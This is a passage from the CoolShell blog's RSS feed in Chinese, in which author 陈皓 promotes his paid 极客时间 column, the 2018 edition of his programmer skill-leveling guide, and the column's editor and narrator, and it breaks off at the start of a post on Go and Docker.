href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a>》一文，得到了很多人的好评（转载的不算，在我的网站上都有近1000W的访问量了）。并且陆续收到了一些人的反馈，说跟着这篇文章找到了不错的工作。几年过去，也收到了好些邮件和私信，希望我把这篇文章更新一下，因为他们觉得有点落伍了。是的，<strong>老实说，抛开这几年技术的更新迭代不说，那篇文章写得也不算特别系统，同时标准也有点低，当时是给一个想要入门的朋友写的，所以，非常有必要从头更新一下《程序员练级攻略》这一主题</strong>。</p>\n<p>目前，我在我极客时间的专栏上更新《程序员练级攻略（2018版）》。升级版的《程序员练级攻略》会比Coolshell上的内容更多，也更专业。这篇文章有【入门篇】、【修养篇】、【专业基础篇】、【软件设计篇】、【高手成长篇】五大篇章，它们会帮助你从零开始，一步步地，系统地，从陌生到熟悉，到理解掌握，从编码到设计再到架构，从码农到程序员再到工程师再到架构师的一步一步进阶，完成从普通到精通到卓越的完美转身……</p>\n<p>这篇文章是我写得最累也是最痛苦的文章，原因如下：</p>\n<ul>\n<li> <strong>学习路径的梳理</strong>。这是一份计算编程相关知识地图，也是一份成长和学习路径。所以有太多的推敲了，知识的路径，体，地图……这让我费了很多工夫，感觉像在编写一本教材一样，即不能太高大上，也不能误人子弟。</li>\n<li><strong>新旧知识的取舍。</strong>另外，因为我的成长经历中很多技术都成了过去时，所以对于新时代的程序员应该学习新的技术，然后，很多基础技术在今天依然管用，所以，在这点上，哪些要那些不要，也花了我很多的工夫。</li>\n<li><strong>文章书籍的推荐</strong>。为了推荐最好的学习资料和资源，老实说，我几乎翻遍了整个互联网，进行了大量的阅读和比较。这个过程让我也受益非浅。一开始，这篇文章的大小居然在500K左右，太多的信息就是没有信息，所以在信息的筛选上我花费了很多的工夫，删掉了60%的内容。但是，依然很宠大。</li>\n</ul>\n<p><strong>总之，你一定会被这篇文章的内容所吓到的，是的，我就是故意这样做的，因为，这本来就没有什么捷径，也不可能速成，很多知识都是硬骨头，你只能一口一口的啃，我故意这样做就是为了让你不要有“速成”的幻想，也可以轻而一举的吓退那些不想用功不想努力的人</strong>。</p>\n<p>但是，我们也要知道《易经》有云：“<strong>取法其上，得乎其中，取法其中，得乎其下，取法其下，法不得也</strong>”。所以，我这里会给你立个比较高标准，你要努力达到，相信我，就算是达不到，也会比你一开始期望的要高很多……</p>\n<p>下面是这份练级攻略的目录，目前只在极客时间上发布，你需要付费阅读（在本文最后有相关的二维码）。</p>\n<p><span id=\"more-18360\"></span></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2018/05/程序员练级攻略.png\" alt=\"\" width=\"290\" height=\"1937\" /></p>\n<p>&nbsp;</p>\n<p>那么，除程序员练级攻略外，我还写了哪些内容？下面是迄今为止我所有的文章的目录。你可以在下面看一下相关的目录。这也算是我开收费专栏来8个月给大家的一份答卷吧。我也没有想到，我居然写了这么多的文章，而且对很多人都很有用。</p>\n<p>首先是个人成长和经验之谈的东西，在这里的文章还没有完全更新完，未来要更新什么我也不清楚，但是可以呈现出来的内容和方向如下所示，供你参考。对于个人成长中的内容，都是我多年来的心得和体会，从读者的反馈来看是非常不错的，你一定要要阅读的。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-large aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2018/05/个人成长和经验之谈-319x1024.png\" alt=\"\" width=\"319\" height=\"1024\" /></p>\n<p>分布式系统架构，我一共出了两个系列，一个是分布式系统架构的本质，另一个是设计模式。前者偏概念，后者偏技术。这里旨在让你看到整个分布式系统设计的一个非常系统的蓝图，但是因为在手机端上，不可能写得非常细，所以，会缺失一些细节，这些细节我是故意缺失的，主要是有几方面的原因，</p>\n<ul>\n<li>一方面，这是为了阅读的效果，手机上的文章不过长，所以，不能有太多的细节。</li>\n<li>另一方面，也是是想留给大家自行学习，而不是一定要我把饭喂到你的嘴里，你才能吃得着。<strong>学习不只是为要答案，而是学方法</strong></li>\n<li>最后是我的私心，因为我也在创业，所以，技术细节上东西正是我在做的产品，所以，如果你想了解得更细，你需要和我有更商业合作。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2018/05/分布式架构的本质.png\" alt=\"\" width=\"321\" height=\"689\" /></p>\n<p>&nbsp;</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  size-full aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2018/05/分布式架构设计模式-弹力篇.png\" alt=\"\" width=\"331\" height=\"1065\" /></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  size-full aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2018/05/分布式架构设计模式-管理篇.png\" alt=\"\" width=\"353\" height=\"669\" /></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  size-full aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2018/05/分布式架构设计模式-性能篇.png\" alt=\"\" width=\"328\" height=\"592\" /></p>\n<p>区块链的技术专栏本来不在我的写作计划中的，但是因为来问我这方面的技术人太多了，所以，就被问了一系列的文章，这里的文章除了一些技术上的科普，同样有有很多我的观点，你不但可以学到技术，还可以了解一些金融知识和相关的逻辑，我个人觉得这篇文章是让你有独立思考的文章。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" size-full alignnone aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2018/05/区块链技术.png\" alt=\"\" width=\"304\" height=\"771\" /></p>\n<p>我的专栏还在继续，接下来还有一个系列的文章——《从技术到管理》，欢迎关注，也欢迎扫码订阅。</p>\n<p><strong>最后友情提示一下：在手机上学习并不是最好的学习方式，也不要在我的专栏上进行学习，把我的专栏当成一个你的助手，当成一个向导，当成一个跳板，真正的学习还是要在线下，专心的，系统地、有讨论地、不断实践地学习，这点希望大家切记！</strong></p>\n<p>&nbsp;</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full \" src=\"https://coolshell.cn/wp-content/uploads/2018/05/专栏.jpg\" alt=\"\" width=\"665\" height=\"580\" /></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/18360.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>62</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>关于我”极客时间“的专栏</title>\n\t\t<link>https://coolshell.cn/articles/18246.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/18246.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 02 Jan 2018 08:56:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=18246</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>不少朋友都知道我在“极客时间”上开了一个收费专栏，这个专栏会开设大约一年的时间，一共会发布104篇文章。现在，我在上面以每周两篇文章的频率已发布了27篇文章了，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/18246.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/18246.html\">关于我”极客时间“的专栏</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2018/01/geekbang-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" />不少朋友都知道我在“<a href=\"https://time.geekbang.org/\" target=\"_blank\" rel=\"noopener noreferrer\">极客时间</a>”上开了一个收费专栏，这个专栏会开设大约一年的时间，一共会发布104篇文章。现在，我在上面以每周两篇文章的频率已发布了27篇文章了，也就是差不多两个半月的时间。新的一年开始了，写专栏这个事对我来说是第一次，在这个过程中有一些感想，所以，我想在这里说一下这些感受和一些相关的故事，算是一个记录，也算是对我专栏的正式介绍，还希望能得到、大家的喜欢和指点。（当然，CoolShell这边还是会持续更新的）</p>\n<h4>为什么要开设一个收费专栏</h4>\n<p>首先，说一下，为什么要开这个收费专栏。</p>\n<p>老实说，我一开始根本就不想开收费专栏的，是的，完全不想！主要是有两个原因，一方面是我在创业中，我自然是没有太多的时间，另一方面是，我以前在《<a href=\"https://coolshell.cn/articles/17391.html\" target=\"_blank\" rel=\"noopener noreferrer\">为什么我不在微信公众号上写文章</a>》也说过，我觉得知识最好的方式是被检索、讨论、引用、整理、补充和更新。所以，收费这种模式，我感觉并不利于很好的传播。但是，我为什么还干了这么一件事？这事还得从2017年6月份开始说起。</p>\n<p>这个月，一共有三家技术社区来找我，都是希望我能去他们那边开收费专栏，其中一家就是“极客邦科技”。对于这三家来说，从一开始我就是以婉拒的姿态回应的。而“极客邦科技”来找我的时候和我说，一周写五篇，写一年，一共260篇。我当时心想，“去你的，当我啥呢，你们真以为技术文章好写啊&#8221;？然后，他们问我可以写多少，我说，我现在也就一个月一篇的节奏……</p>\n<p><span id=\"more-18246\"></span></p>\n<p>然后，就开始了时间漫长的拉锯战。极客邦这边一直从6月份和我谈到9月份，完全就是不达目的不罢休的玩法，其间，每当我说一个问题，他们就会想出一个解，我这边不断地制造不能写下去的问题，他们就不断的给出相应的解。我其实是想让他们知难而退，另外，我也不确定这帮人对于这个事有多上心，因为写技术文章是需要非常认真的态度的，所以，我提出了很多比较苛刻的条件，甚至也很直白的直接拒绝，但是他们完全就跟没有听见似的，不断的想新的方法来让我&#8221;上床&#8221;（对！就是上床，不是上船）。</p>\n<ul>\n<li>我说，我最多一个月写2-3篇。他们和我说，我们看过了，你写的都是长文，都在5000字左右，一篇可以拆成上下篇，这样就有6篇左右了，然后，你每个月再来两篇文章，一篇是推荐一些资料或资源，一篇是回答读者的问题。这样就有8篇了，一周就可以发2篇了。</li>\n</ul>\n<ul>\n<li>我说，就算是这样，我也没有时间写，我现在创业中，事多得去了，完全没精力投入。然后，他们说，不用你写，我们来帮你写。你去客户那边，叫上我们，你到大会上做分享，叫上我们，你和别人分享，也叫让我们，我们全程录音，然后帮你你整理。然后每周末的时候来找你，和你聊上2个小时。我们把内容做出来，你再精编一下就好了。而且，我们也会帮你分担创业的精力的，我们极客邦/QCon/ArchSummit会帮你的产品做推广、做市场和BD客户……</li>\n</ul>\n<ul>\n<li>我说，就算是这样，我也没时间。他们说，我们还会给你配个编辑，一个不够就配两个，他们会帮你上网查资料，他们都是计算机专业的，一定是懂技术的。不会让你一个人写的。专栏这种事一定是会需要一个小的编辑团队的。</li>\n</ul>\n<p>他们还甚至在晚上10点左右跑到我家门口来和我谈。这还没完，我继续刁难他们……</p>\n<ul>\n<li>我说，技术文章相当专业，你们来试试看，于是，我给了一篇极其难读的英文论文，还有一篇技术细节非常晦涩的英文文章，我让他们不要翻译，而是读懂后理解完用自己的话，能够让一般人读懂的话写一下。这两篇文章，就算是对于有多年经验的程序员来说，也是很难读的。结果他们一周后，就搞好了，我读了一下，不算特别好，但是对于他们来说，已经很不错了。</li>\n</ul>\n<ul>\n<li>我又说，我的文章中会有好些代码，有数学公式，在手机上怎么排版？阅读体验不行吧。你们还要做音频，我的文章中如果有代码，有图片，有数据公式，你让音频时怎么读？这不行吧。他们说，数学公式可以用LaTeX搞，代码排版会努力排好，同时也提供网页端的浏览。音频会这样搞，会让编辑把代码、数学公式、图片理解完后用别外的话说出来。也就是说，文章要有两个版本，一个是阅读的版本，一个是给音频师的版本。</li>\n</ul>\n<p>就这样，这几个月的过程中，我心里面有了一些不一样的感觉。</p>\n<ul>\n<li>一方面，我觉得这种“不达目的不罢休”的做法让我欣赏。因为我也在创业，创业的过程中有很多难题，也会遇到很多困难和艰辛。而极客邦他们这样的作法我是非常认可，也是非常佩服的，因为，要是换作我，我可能早放弃去寻找其它人了。但是他们没有，他们一直不断地在穷尽一切方法来说服我写专栏。能这样做的人，我觉得这个社会上少之又少，绝大多数人都是畏难和容易退缩的，所以，感觉可以深入交往和合作。</li>\n</ul>\n<ul>\n<li>另外一方面，在整个过程中，我问他们，为什么你们要把这个事做得这么“重”？为什么不做得“轻”一点呢？还要录音频，音频对于技术型的文章里面有一堆坑啊，对于技术文章还有很多无法翻译的英文单词，在计算机的世界里，好多英文单词都是造出来的，音频师怎么读？(后来的确也是这样，我的音频师就把J2EE读成了“J二EE”)，他们的编辑也不知道怎么读，就上Youtube上找相关视频看老外是怎么发音的，然后标注好。而且，我的文章有时候写得太快，经常会有一些小错误，文字好改，但是还要改语音。对于这些，我都觉得好重啊，结果他们说，就是要做个“重的”，就是要做一个别人达不到的标杆，让竞争对手望而却步！</li>\n</ul>\n<p>对于这两点，是让我很赞的。这样的做事精神和态度让我很佩服，是啊，在Amazon里也常说，要不断地提高标准。而且这让我深入思考了一下，一个事如果想要做好，做到极致，就算再简单的事，也会变成复杂，<strong>这个世界上可能并不存在“轻模式”，只要你想做好，再“轻”的事都会变“重”</strong>。他们的这些做法，让我有了一种同道中人的感觉，人总是会向比自己强的人或是跟自己比较像的人靠近的。我感觉我在创业路上，就是要和这样的人在一起，面对再难的事，都要想尽一切办法解决之，面对再轻的事，都要花心思用重的模式去做好。</p>\n<p>而其它两个来找我做同样的事的公司，却没有让我看到他们有这样把事做成的不服输的决心和态度，真是形成了强烈的反差和对比。</p>\n<p>于是，我就这样“从”了！这里要点名一下极客邦的两个人——我叫他们作“双蕾”：<strong>司巧蕾</strong> 和 <strong>郭蕾</strong>。（池大大也为极客时间付出了好多，因为大家都认识他了，我就弱化他一下了，嘿嘿）</p>\n<h4>这个专栏主要会写什么样的内容</h4>\n<p>这是一个收费专栏，一旦收费了，我的压力也大了，因为你要写的内容就一定要能达到可以收费的价值了，不以再像个人博客一样，想写什么就什么。好在我从2003年开始我就在给好多企业做一些商业化的讲座和培训，也给一些公司做过一些商业的咨询和技术方案，包括在过去两年内帮助过一些公司打单。另外，在过去的10年内，我也在技术、职业和成长上帮助过很多年轻人。这些内容，我都没有完整或是具体地写在CoolShell中，所以，我觉得这些内容是可以放在这个收费专栏的。</p>\n<p>此外，我在CoolShell上的文章都是不系统的，是碎片式的，还有一些只是知识，还不是认识。而我过去成长的20年，我的经验和知识已经在某些方面形成了比较完整的体系，而且有一些技术也能看到本质上的东西。所以，我觉得这些东西是可以呈现在这个专栏内的，都是非常有商业价值的，一定是可以帮助到大家的。当然，其中的一些东西，不是初级入门的程序员能够看懂的，需要有一定的工作经验和基础知识。</p>\n<p>而在我入行的这20年来，我觉得对于一个企业，一个团队，一个个体的程序员来说，有三件事是密不可分，也是相辅相成的，这三件事就是：技术、发展和管理。每个人，每个团队，每个企业，都需要认真地面对技术，不断地挑战新的技术，并且还要非常认真地发展个人和团队，而这些都需要对自我的管理或是对团队和公司的管理才能更高效的达成。</p>\n<p>所以，我的专栏会由这三部份构成:</p>\n<ul>\n<li><strong>技术</strong>。对于技术方面，我不会写太多关于知识点的东西，因为这些知识点大家可以自行Google可以RTFM。我要写就一定是以体系化的，而且要能直达技术的本质。我入行这20年来，我最擅长的是针对各种大规模的系统，所以，我会有2-3个和分布式系统相关的系列文章，然后，我学过也用过好多编程语言，所以，我也会有一系列的关于编程本质的文章，而我对一些基础知识研究的也比较多，所以，还会有一系列的和基础知识相关的文章。当然，其中还会穿插一些其它的技术文章，比如一些热点事件，还有一些经验之谈，包括，我会把我的《<a href=\"https://coolshell.cn/articles/4990.html\" target=\"_blank\" rel=\"noopener noreferrer\">程序员技术练级攻略</a>》在这个专栏里重新再写一遍。这些东西一定会让大家有醍醐灌顶的感觉。</li>\n</ul>\n<ul>\n<li><strong>成长</strong>。在过去这20年中，我感觉得到，很多人都会非常在意自己的成长。所以，我会分享一堆我亲身经历的，也是我自己实验的一定和个人发展相关的文章。比如，像技术变现啊、如何面试、如何选择新的技术、如何学习、如何管理自己的时间、如何管理自己的老板和工作、如何成为一个Leader……这些东西一定会对大家有用。但是，我这里一定不会有速成的东西。一切都是要花时间和精力的。如果你想要速成，你不应该来订阅我的专栏。</li>\n</ul>\n<ul>\n<li><strong>管理</strong>。这20年，我觉得做好技术工作，得做好技术的管理工作，只有管理好了软件工程和技术团队，技术才能发挥出最大的潜力。大多数的技术都是管理上的问题。所以，我会写上一系列的和管理相关的文章，管理三个要素，团队、项目和管理者自己。所以，我会从这三个方面写一系列包括，人员招聘、绩效考核、提升士气、解决冲突、面对变化、沟通说服、项目管理、任何排期、会议、远程管理……等等一系列的文章。这些东西都是我在外企时，接受到的世界顶级管理培训机构培训内容，我会把我的实践写出来分享给大家。这其中一定少不了亚马逊相关的各种实践。这些东西，我和很多公司和大佬都讲过，到目前为止还没有人不赞的。</li>\n</ul>\n<p>现在，我这个专栏写了快三个月了，第一部分和第二部分已经有一些呈现了。我周末和假期的时间也完全都搭进去了 ;-)。后面的文章还在和我的编辑一起在整理和书写中，我感觉这个专栏只收199一年简直是太便宜了，我有点想涨价的冲动了。哈哈。</p>\n<h4>幕后团队</h4>\n<p>最后说一下我的专栏编辑——她叫杨爽！以前是CSDN的程序员杂志的编辑，后来去了七牛，现在和我一起做我的这个专栏。她对我的这个专栏上的投入非常大，除了帮助我编辑文章，还要帮音频师标注语气，英文发音，以及音频版的文章，还要深度参与写作，<strong>有的文章我只给了一个大纲，甚至只是一个方向，或是一系列的素材，然后都是她来操刀的，比如“推荐阅读”的文章、还有技术领导力的下篇，基本上是由杨爽来出第一版，然后我再上面再做修改和补充</strong>。她说，写技术文章真是太累了，尤其是帮你编辑你的分布式系列的文章，我基本都把这些技术都看了个大概了。我调侃到，如果你完全搞懂了，你就不用做编辑了，你可以做技术去了，嗯，而且，可以变成架构师了。</p>\n<p>另外，她会深度的编辑我的文章，尤其是每篇文章最后的一些总结或是一些问题都是她写的。在我的一篇答疑的文章中，她自己加入了一个观点——“很多事情能做到什么程度，其实在思想的源头就被决定了，因为它会绝大程度地受到思考问题出发点、思维方式、格局观、价值观等因素的影响”，这个观点被读者当成是我的观点，其实，这是杨爽的观点，当然我也很同意。</p>\n<p>所以，我的这个专栏离不开杨爽的付出，我和她一般都是在晚上或是周末沟通，因为平时我的时候都被创业的事给占据了。所以，她也只能适配我的时间，但她真的很努力，我能感觉得到她想把文章的质量不断提高的迫切。</p>\n<p>关于专栏的音频师，他叫柴巍，是天津广播电台的主持人，一个89年的小伙子，网上他的<a href=\"http://www.radiotj.com/zcrdd/system/2014/04/16/000472670.shtml\" target=\"_blank\" rel=\"noopener noreferrer\">个人信息在这里</a>。他跨界来读这些技术文章的确对他来说非常不容易，因为一方面这文章里讲的这些东西他都看不懂，另外，他也不认识我，我脾气和性格他不知道，所以，他读我的文章里，并不能完全准确地把握相关的语气。这就需要杨爽来帮他标注和调整，有些地方，不断地修改，不断地录，大家知道，录音和写文章不一样，文章要修改很简单，语音要修改就非常麻烦，得把上下文全都一并重新再读一篇，这个过程的确难，杨爽在其中也花费了大量的时间和这个小伙子沟通和调整。</p>\n<p>在一开始，有播音腔，也被读者吐槽了，他自己后来一直在调整，目前越来越符合咱们的要求。这个小哥是非常努力和有挑战精神的，他在这个过程中，也是非常信守承诺的。去年12月6日，录分布式系统冰与火那篇文章时，他上午有自己的工作，下午要开会，晚上又有单位活动，他还是活动的主持人，他实在是没有时间了。我也和我的编辑说，算了，先发文章，后面再补音频。但是他还是挤时间把音频录出来了，期间，我还不知情地又修改了一下文章，他又配合修改，直到完全改好。打车去参加活动，还好提前20分钟赶到，没有耽误主持活动。</p>\n<p>唠唠叨叨写这么多，也没什么干货！算是一份记录吧。也希望大家能够从我的专栏中看到这个团队的确是在用心做事的，是的，能认识这些人，还能一起合作，在我的人生经历上是非常有价值的事了。</p>\n<p>希望大家在新的一年里也能遇到这样的人。我们一起加油！</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2017/12/ride_or_die.jpg\" alt=\"\" width=\"600\" height=\"304\" /></p>\n<p style=\"text-align: center;\">图片来自：电影《速度与激情》——Ride or Die</p>\n<p>&nbsp;</p>\n<p>（全文完）</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/559.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"菜鸟学PHP之Smarty入门\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/559.html\" class=\"wp_rp_title\">菜鸟学PHP之Smarty入门</a></li><li ><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" alt=\"十个免费的Web压力测试工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_title\">十个免费的Web压力测试工具</a></li><li ><a href=\"https://coolshell.cn/articles/2439.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"黑客的价值观\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2439.html\" class=\"wp_rp_title\">黑客的价值观</a></li><li ><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"InfoQ的ArchSummit大会对我的采访\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_title\">InfoQ的ArchSummit大会对我的采访</a></li><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18246.html\">关于我”极客时间“的专栏</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/18246.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>74</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go语言、Docker 和新技术</title>\n\t\t<link>https://coolshell.cn/articles/18190.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/18190.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 30 Oct 2017 01:24:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Docker]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=18190</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>上个月，作为 Go 语言的三位创始人之一，Unix 老牌黑客罗勃·派克（Rob Pike）在新文章“Go: Ten years and climbing”中，回...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/18190.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/18190.html\">Go语言、Docker 和新技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-sup_wechat_big \" src=\"https://coolshell.cn/wp-content/uploads/2017/10/golang.docker-360x200.png\" alt=\"\" width=\"360\" height=\"200\" />上个月，作为 Go 语言的三位创始人之一，Unix 老牌黑客罗勃·派克（Rob Pike）在新文章“<a href=\"https://commandcenter.blogspot.com/2017/09/go-ten-years-and-climbing.html\" target=\"_blank\" rel=\"noopener noreferrer\">Go: Ten years and climbing</a>”中，回顾了一下 Go 语言的发展过程。其中提到，Go 语言这十年的迅猛发展大到连他们自己都没有想到，并且还成为了云计算领域中新一代的开发语言。还提到了，中国程序员对 Go 语言的热爱完全超出了他们的想象，甚至他们都不敢相信是真的。</p>\n<p>这让我想起，我在 2015 年 5 月份拜访 Docker 公司在湾区的总部时，Docker 负责人也和我表达了相似的感叹：他们完全没有想到居然中国有那么多人喜欢 